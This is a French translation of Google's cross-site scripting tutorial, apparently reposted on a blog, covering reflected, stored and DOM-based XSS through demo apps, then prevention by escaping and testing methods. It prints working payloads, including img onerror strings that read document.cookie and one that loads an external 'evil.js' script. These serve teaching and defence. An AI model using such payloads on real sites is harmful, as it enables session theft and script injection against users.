Cross-Site Scripting – Sécurité des applications – Google

Table des matières

  • Introduction au cross-site scripting
    • Public cible
    • Qu’est-ce que le cross-site scripting et pourquoi devrais-je m’en soucier ?
    • Un exemple de base
    • Parfois, la charge utile XSS peut persister
    • Votre serveur ne verra pas toujours la charge utile XSS
  • Prévenir le XSS
    • Que puis-je faire pour prévenir le XSS ?
    • Utiliser un système de modèles avec auto-escaping contextuel
    • Une note sur l’échappement manuel des entrées
    • Comprendre les comportements courants des navigateurs qui conduisent à XSS
    • Apprendre les meilleures pratiques pour votre technologie
  • Tester pour XSS
    • Comment puis-je tester pour XSS ?
    • Tests manuels ( » black-box testing « )
    • Examen du code ( » white-box testing « )
    • Tests unitaires
    • Scanners de sécurité des applications Web
    • Quelle méthode de test dois-je utiliser ?

Introduction au cross-site scripting

Ce document s’adresse à toute personne qui développe des sites Web ou qui s’intéresse aux sujets de sécurité Web. Des connaissances en HTML, JavaScript et Document Object Model (DOM) seraient utiles pour certains des détails plus techniques.

Ne soyez pas méchant

Ce document fournit des informations qui pourraient être utilisées pour évaluer la sécurité d’un site Web contre les vulnérabilités de script intersite. N’utilisez pas ce que vous apprenez ici pour tester (ou pire, attaquer) des sites web sans l’autorisation du propriétaire du site.

Qu’est-ce que le cross-site scripting et pourquoi devrais-je m’en préoccuper ?

Le cross-site scripting (XSS) est un bug de sécurité qui peut affecter les sites web. S’il est présent sur votre site web, ce bug peut permettre à un attaquant d’ajouter son propre code JavaScript malveillant sur les pages HTML affichées à vos utilisateurs. Une fois exécuté par le navigateur de la victime, ce code pourrait alors effectuer des actions telles que changer complètement le comportement ou l’apparence du site web, voler des données privées ou effectuer des actions au nom de l’utilisateur.

Ne vous inquiétez pas, nous vous montrerons ce que tout cela signifie, mais avant de creuser davantage, regardons quelques exemples interactifs pour voir comment cela fonctionne.

Un exemple de base

Les vulnérabilités XSS se produisent le plus souvent lorsque l’entrée de l’utilisateur est incorporée dans la réponse d’un serveur web (c’est-à-dire une page HTML) sans échappement ou validation appropriés.

Regardez l’application de recherche ci-dessous. Cliquez sur « Show demo » pour charger l’application. Il s’agit d’une application de démonstration fonctionnelle ; vous pouvez donc interagir avec elle – essayez de rechercher quelque chose. Pour votre référence, nous avons également inclus le code source de l’App Engine – vous pouvez voir le code en cliquant sur le lien « Cliquez pour voir le code source de l’application ».

Application de démonstration 1 :

URL

En utilisant l’application de démonstration ci-dessus, recherchez test. Cela renvoie la sortie suivante :

Désolé, aucun résultat n’a été trouvé pour le test. Essayez à nouveau.

Maintenant, recherchez<u>test</u>. Remarquez que « test » est souligné dans la réponse :

Désolé, aucun résultat n’a été trouvé pour test. Essayez à nouveau.

Donc, sans regarder le code, il semble que l’application inclut notre propre balisage HTML dans la réponse. C’est intéressant mais pas terriblement dangereux. Si, toutefois, l’application nous permet également d’injecter du code JavaScript, ce serait beaucoup plus  » intéressant « .

Donnons-nous la peine d’essayer. Recherchez <script>alert('hello')</script>.

Nous avons trouvé un bug XSS !

Vous venez de subir une attaque XSS  » réfléchie « , où la charge utile JavaScript (<script>alert('hello')</script>) est renvoyée en écho sur la page retournée par le serveur.

Si vous regardez la ligne 50 du code source, vous verrez que le message qui s’affiche dans la page de résultats de recherche est une chaîne construite à l’aide de la valeur d’entrée query. Cette chaîne est ensuite transmise à une fonction qui rend la sortie HTML à l’aide de la méthode response.out.write à la ligne 37. Le problème est que l’entrée n’est pas échappée avant d’être rendue. Nous aborderons l’échappement plus tard dans la section  » Prévention des XSS « .

Dans le scénario ci-dessus, un attaquant aurait besoin de la victime pour soit :

  • Visiter une page contrôlée par l’attaquant. Cette page pourrait inclure une iframe invisible qui pointe vers le site vulnérable au XSS, ainsi qu’une charge utile pour exploiter la vulnérabilité.
  • Ou cliquer sur un lien URL de l’attaquant. Ce lien comprendrait la charge utile d’exploitation (dans l’exemple ci-dessus, https://xss-doc.appspot.com/demo/2?query=<script>alert(‘hello’)</script>) et pourrait même être masqué par un raccourcisseur d’URL.

Il convient de noter qu’une charge utile XSS peut être livrée de différentes manières ; par exemple, elle peut se trouver dans un paramètre d’une requête HTTP POST, dans le cadre de l’URL, ou même dans le cookie du navigateur Web – en gros, partout où un utilisateur peut fournir une entrée au site Web.

Tout cela pour générer une fenêtre pop-up ennuyeuse peut sembler ne pas en valoir la peine. Malheureusement, les vulnérabilités XSS peuvent entraîner bien plus que des alertes sur une page (une alerte pop-up est juste un moyen pratique pour un attaquant ou un chercheur de détecter la présence d’un bug XSS). Jetez un œil à l’exemple suivant pour un script plus malveillant.

Parfois, la charge utile XSS peut persister

Dans l’attaque que nous avons décrite ci-dessus, le serveur web renvoie immédiatement la charge utile XSS à la victime. Mais il est également possible pour le serveur de stocker l’entrée fournie par l’attaquant (la charge utile XSS) et de la servir à la victime ultérieurement. C’est ce qu’on appelle un « XSS stocké ».

Nous illustrons ci-dessous un exemple de base en utilisant un site de réseau social de démonstration. Allez-y, saisissez du texte et partagez votre statut dans l’application de démonstration ci-dessous.

Application de démonstration 2 :

Après, essayez ceci :

  1. Entrez <img src=x onerror="alert('Pop-up window via stored XSS');"
  2. Partagez votre statut.
  3. Vous devriez voir une alerte contextuelle ! Vous verrez à nouveau l’alerte si vous rafraîchissez la page ou partagez un autre message de statut.

Maintenant, saisissez <img src=x onerror="alert(document.cookie);" et cliquez sur  » Partager le statut ! « .

L’identifiant de session de cette application (un identifiant artificiel qui est probablement ‘123412341234’) apparaîtra ! Un attaquant pourrait utiliser un code d’exploitation XSS pour collecter cet ID de session, et tenter d’usurper l’identité du propriétaire du compte.

Note : pour réinitialiser l’application et se débarrasser des pop-ups gênants, cliquez sur le bouton  » Effacer tous les messages « .

Que pouvez-vous faire d’autre à part faire apparaître des alertes ou voler des identifiants de session ? Vous pouvez à peu près faire tout ce que JavaScript permet. Essayez de saisir ce qui suit :

<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"

Spooky, hein ? Dans cet exemple, un fichier JavaScript maléfique a été récupéré et intégré via XSS.

Votre serveur ne verra pas toujours la charge utile XSS

Dans les deux exemples précédents, l’entrée de l’utilisateur a été envoyée au serveur, et le serveur a répondu à l’utilisateur en affichant une page qui inclut l’entrée de l’utilisateur. Cependant, une vulnérabilité XSS stockée ou réfléchie peut également se produire sans implication directe du serveur, si les données fournies par l’utilisateur sont utilisées dans une opération JavaScript non sécurisée. En d’autres termes, le XSS peut se produire entièrement dans le JavaScript et le HTML côté client (plus précisément, dans le Document Object Model ou DOM) sans que des données soient envoyées et reçues entre le client et le serveur. Nous appelons cette sous-classe de bogues « DOM-based XSS » ou « DOM XSS » en abrégé. Une cause courante des bugs DOM XSS est la définition de la valeur innerHTML d’un élément DOM avec des données fournies par l’utilisateur.

Regardez l’application suivante. Elle utilise un fragment d’URL pour déterminer l’onglet à afficher.

Application de démonstration 3 :

URL

L’application fonctionne comme prévu lorsque vous cliquez sur les onglets. Cependant, il est également possible d’ouvrir une URL telle que :

https://xss-doc.appspot.com/demo/3#’><img src=x onerror=alert(/DOM-XSS/)>

Vous pouvez copier et coller l’URL ci-dessus dans la « barre URL » de l’application de démonstration ci-dessus et cliquer sur le bouton « Go ». Vous devriez voir apparaître une alerte contextuelle.

Le XSS est déclenché parce que le script côté client utilise une partie de la window.location pour définir la innerHTML de l’un des éléments à l’intérieur de la page. Lorsque vous vous rendez à l’URL ci-dessus, la variable location.hash est définie par #'><img src=x onerror=alert(/DOM-XSS/)>. Si vous regardez la ligne 33 du code source de index.html, vous verrez que la sous-chaîne de location.hash (la chaîne après le caractère #) est passée comme argument à la fonction chooseTab à la ligne 8. chooseTab construit un élément img pour intégrer une image en utilisant ce qui suit :

html += "<img src='/static/demos/GEECS" + name + ".jpg' />";

L’argument location.hash substring est utilisé pour définir la valeur de name ; il en résulte l’élément img suivant :

<img src='/static/demos/GEECS'><img src=x onerror=alert(/DOM-XSS/)>.jpg' />

Ce qui précède est du HTML valide ; toutefois, le navigateur ne parviendra pas à charger l’image et exécutera plutôt le code onerror. Cet élément img est finalement ajouté au document via innerHTML à la ligne 12.

Rien n’est infaillible

Nous fournissons quelques suggestions sur la façon dont vous pouvez minimiser les chances que votre site Web contienne des vulnérabilités XSS. Mais gardez à l’esprit que la sécurité comme la technologie évoluent très rapidement ; donc, aucune garantie – ce qui fonctionne aujourd’hui peut ne pas fonctionner complètement demain (les pirates peuvent être assez malins).

Que puis-je faire pour prévenir le XSS ?

Une technique courante pour prévenir les vulnérabilités XSS est l' »échappement ». L’objectif de l’échappement des caractères et des chaînes de caractères est de s’assurer que chaque partie d’une chaîne de caractères est interprétée comme une primitive de chaîne de caractères, et non comme un caractère de contrôle ou un code.

Par exemple, ‘&lt;‘ est l’encodage HTML du caractère ‘<‘. Si vous incluez :

<script>alert('testing')</script>

dans le HTML d’une page, le script s’exécutera. Mais si vous incluez :

&lt;script&gt;alert('testing')&lt;/script&gt;

dans le HTML d’une page, il imprimera le texte « <script>alert(‘testing’)</script> », mais il n’exécutera pas réellement le script. En échappant les balises <script>, nous avons empêché l’exécution du script. Techniquement, ce que nous avons fait ici est de l' » encodage  » et non de l' » échappement « , mais  » échappement  » transmet le concept de base (et nous verrons plus tard que dans le cas de JavaScript,  » échappement  » est en fait le terme correct).

Les éléments suivants peuvent aider à minimiser les chances que votre site web contienne des vulnérabilités XSS :

  • Utiliser un système de template avec auto-escaping contextuel
  • Echapper manuellement les entrées utilisateur (s’il n’est pas possible d’utiliser un système de template avec auto-escaping contextuel)
  • Comprendre les comportements courants des navigateurs qui conduisent à XSS
  • Apprendre les meilleures pratiques pour votre technologie

Le reste de cette section décrit ces mesures en détail.

Utiliser un système de gabarit avec auto-escape contextuel

Le moyen le plus simple et le meilleur pour protéger votre application et vos utilisateurs des bogues XSS est d’utiliser un système de gabarit web ou un cadre de développement d’applications web qui auto-escape la sortie et qui tient compte du contexte.

« Auto-escaping » fait référence à la capacité d’un système de template ou d’un cadre de développement web à échapper automatiquement les entrées utilisateur afin d’empêcher l’exécution de tout script intégré dans l’entrée. Si vous voulez éviter les XSS sans l’échappement automatique, vous devez échapper manuellement les entrées, ce qui signifie écrire votre propre code personnalisé (ou appeler une fonction d’échappement) partout où votre application comprend des données contrôlées par l’utilisateur. Dans la plupart des cas, l’échappement manuel des entrées n’est pas recommandé ; nous aborderons l’échappement manuel dans la section suivante.

« Context-aware » fait référence à la capacité d’appliquer différentes formes d’échappement en fonction du contexte approprié. Comme les CSS, HTML, URL et JavaScript utilisent tous une syntaxe différente, différentes formes d’échappement sont nécessaires pour chaque contexte. L’exemple de modèle HTML suivant utilise des variables dans tous ces différents contextes :

<body> <span style="color:{{ USER_COLOR }};"> Hello {{ USERNAME }}, view your <a href="{{ USER_ACCOUNT_URL }}">Account</a>. </span> <script> var id = {{ USER_ID }}; alert("Your user ID is: " + id); </script></body>

Comme vous pouvez le constater, essayer d’échapper manuellement les entrées pour divers contextes peut s’avérer très difficile. Vous pouvez en savoir plus sur l’auto-échappage en fonction du contexte ici. Go Templates, Google Web Toolkit (GWT) avec SafeHtml, Closure Templates et CTemplate fournissent tous un auto-échapage conscient du contexte afin que les variables soient correctement échappées pour le contexte de la page dans laquelle elles apparaissent. Si vous utilisez des modèles pour générer du HTML au sein de JavaScript (une bonne idée !), Closure Templates et Angular fournissent des capacités d’échappement intégrées.

Une note sur l’échappement manuel des entrées

Écrire votre propre code pour l’échappement des entrées, puis l’appliquer correctement et de manière cohérente est extrêmement difficile. Nous ne vous recommandons pas d’échapper manuellement les données fournies par l’utilisateur. Au lieu de cela, nous vous recommandons fortement d’utiliser un système de templating ou un cadre de développement web qui fournit un auto-échappage conscient du contexte. Si cela est impossible pour votre site Web, utilisez les bibliothèques et fonctions existantes connues pour fonctionner, et appliquez ces fonctions de manière cohérente à toutes les données fournies par l’utilisateur et à toutes les données qui ne sont pas directement sous votre contrôle.

Comprendre les comportements courants des navigateurs qui conduisent à XSS

Si vous suivez les pratiques de la section précédente, vous pouvez réduire votre risque d’introduire des bogues XSS dans vos applications. Il existe toutefois des moyens plus subtils par lesquels XSS peut faire surface. Pour atténuer le risque de ces cas de coin, considérez ce qui suit :

  • Précisez les Content-Type et charset correctes pour toutes les réponses pouvant contenir des données utilisateur.
    • Sans de tels en-têtes, de nombreux navigateurs tenteront de déterminer automatiquement la réponse appropriée en effectuant un reniflage du contenu ou du jeu de caractères. Cela peut permettre à une entrée externe de tromper le navigateur en interprétant une partie de la réponse comme un balisage HTML, ce qui à son tour peut conduire à XSS.
  • Veuillez vous assurer que toutes les URL fournies par l’utilisateur commencent par un protocole sûr.
    • Il est souvent nécessaire d’utiliser des URL fournies par les utilisateurs, par exemple comme une URL continue à rediriger après une certaine action, ou dans un lien vers une ressource spécifiée par l’utilisateur. Si le protocole de l’URL est contrôlé par l’utilisateur, le navigateur peut l’interpréter comme une URI de script (par exemple javascript:data:, et autres) et l’exécuter. Pour éviter cela, vérifiez toujours que l’URL commence par une valeur de la liste blanche (généralement uniquement http:// ou https://).
  • Hébergez les fichiers téléchargés par les utilisateurs dans un domaine sandboxé.

Apprenez les meilleures pratiques pour votre technologie

Les meilleures pratiques suivantes peuvent vous aider à réduire les vulnérabilités XSS dans votre code pour des technologies spécifiques.

  • JavaScript : De nombreuses vulnérabilités XSS sont causées par le passage de données utilisateur à des puits d’exécution Javascript ; des mécanismes de navigateur qui vont exécuter des scripts à partir de leur entrée. De telles API comprennent *.innerHTMLdocument.write et eval(). Lorsque des données contrôlées par l’utilisateur (sous la forme de location.*document.cookie ou de variables JavaScript contenant des données utilisateur) sont renvoyées par le serveur, l’appel de ces fonctions peut entraîner un XSS.
  • JSON : veillez à appliquer un échappement approprié (y compris l’échappement HTML de caractères tels que < et >). Ne permettez pas que les données fournies par l’utilisateur soient renvoyées en tant que première partie de la réponse (comme cela arrive souvent dans JSONP). N’utilisez pas eval() pour analyser les données.
  • Flash : pensez à héberger les fichiers SWF dans un domaine séparé.
  • GWT : suivez les directives du guide du développeur GWT sur SafeHtml, en particulier, évitez l’utilisation d’API qui interprètent les valeurs de type String simple comme du HTML et préférez les variantes SafeHtml lorsqu’elles sont disponibles. Par exemple, préférez HTML#setHTML(SafeHtml)HTML#setHTML(String).
  • Assainissement du HTML : Si vous devez prendre en charge des balises fournies par l’utilisateur, comme des images ou des liens, recherchez des technologies qui prennent en charge la désinfection HTML. Par exemple, Caja inclut un html-sanitizer écrit en Javascript qui peut être utilisé pour supprimer le Javascript potentiellement exécutable d’un extrait de HTML.

Procédez avec prudence

Comme pour tout test de sécurité, il peut y avoir des effets secondaires involontaires. Nous n’assumons aucune responsabilité quant à l’utilisation des connaissances que vous obtenez ici (avec le pouvoir vient la responsabilité) ; utilisez donc ces informations à vos propres risques.

Comment puis-je tester les XSS ?

Il n’existe pas de solution miracle pour détecter le XSS dans les applications. La meilleure façon de procéder pour tester les bugs XSS est de combiner les éléments suivants :

  • tests manuels,
  • écriture de tests unitaires pour vérifier l’échappement ou la sanitisation correcte dans les parties cruciales de votre application, et
  • utilisation d’outils automatisés.

Cette section va décrire et faire des recommandations pour chaque stratégie.

Tests manuels ( » black-box testing « )

Le XSS est un risque partout où votre application traite les entrées utilisateur.

Pour de meilleurs résultats, configurez votre navigateur pour utiliser un proxy qui intercepte et analyse le trafic pour aider à identifier les problèmes. Parmi les exemples d’outils, citons Burp Proxy et ratproxy.

Réalisez ces tests de base sur votre application :

  • Interagir avec votre application. Insérez des chaînes contenant des métacaractères HTML et JavaScript dans toutes les entrées de l’application, comme les formulaires, les paramètres URL, les champs cachés( !) ou les valeurs des cookies.
  • Une bonne chaîne de test est >'>"><img src=x onerror=alert(0)>.
  • Si votre application n’échappe pas correctement cette chaîne, vous verrez une alerte et saurez que quelque chose a mal tourné.
  • Partout où votre application gère des URL fournies par l’utilisateur, saisissez javascript:alert(0) ou data:text/html,<script>alert(0)</script>.
  • Créer un profil utilisateur de test avec des données similaires aux chaînes de test ci-dessus. Utilisez ce profil pour interagir avec votre application. Cela peut aider à identifier les bugs XSS stockés.

Revue de code ( » white-box testing « )

Demandez à un collègue ou un ami de revoir votre code avec un regard neuf (et proposez-lui de vous rendre la pareille !). Demandez-lui de rechercher spécifiquement les vulnérabilités XSS et indiquez-lui ce document, si cela peut lui être utile.

Tests unitaires

Utilisez les tests unitaires pour vous assurer qu’un bit de données particulier est correctement échappé. Bien qu’il ne soit pas toujours possible de réaliser des tests unitaires à chaque endroit où des données fournies par l’utilisateur sont affichées, vous devriez au minimum écrire des tests unitaires pour tout code sortant légèrement de l’ordinaire afin de vous assurer que le résultat répond à vos attentes. Cela inclut les endroits où :

  • Un marquage qui inclut des entrées utilisateur est généré dans le code – vérifiez que toute entrée non fiable est échappée ou supprimée.
  • Votre application redirige vers des URL externes – assurez-vous que l’URL commence par http:// ou https://.
  • Vous utilisez un sanitizer ou un stripper HTML pour supprimer les balises du balisage – vérifiez que tout balisage non pris en charge est échappé.

En outre, chaque fois que vous trouvez et corrigez un bogue XSS dans votre code, pensez à ajouter un test de régression pour celui-ci.

Scanners de sécurité des applications Web

Vous pouvez utiliser un logiciel de scan de sécurité pour identifier les vulnérabilités XSS au sein des applications. Bien que les scanners automatiques ne soient souvent pas optimisés pour votre application particulière, ils vous permettent de trouver rapidement et facilement les vulnérabilités les plus évidentes. Skipfish est l’un de ces outils.

Quelle méthode de test dois-je utiliser ?

Eh bien, pour être honnête – autant d’entre elles que possible (à quel genre de réponse vous attendiez-vous de la part des personnes chargées de la sécurité ?). Aucune méthode de test n’est infaillible ; ainsi, effectuer une combinaison de revues de code, et de tests manuels et automatisés, diminuera les chances d’une vulnérabilité XSS dans votre application.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *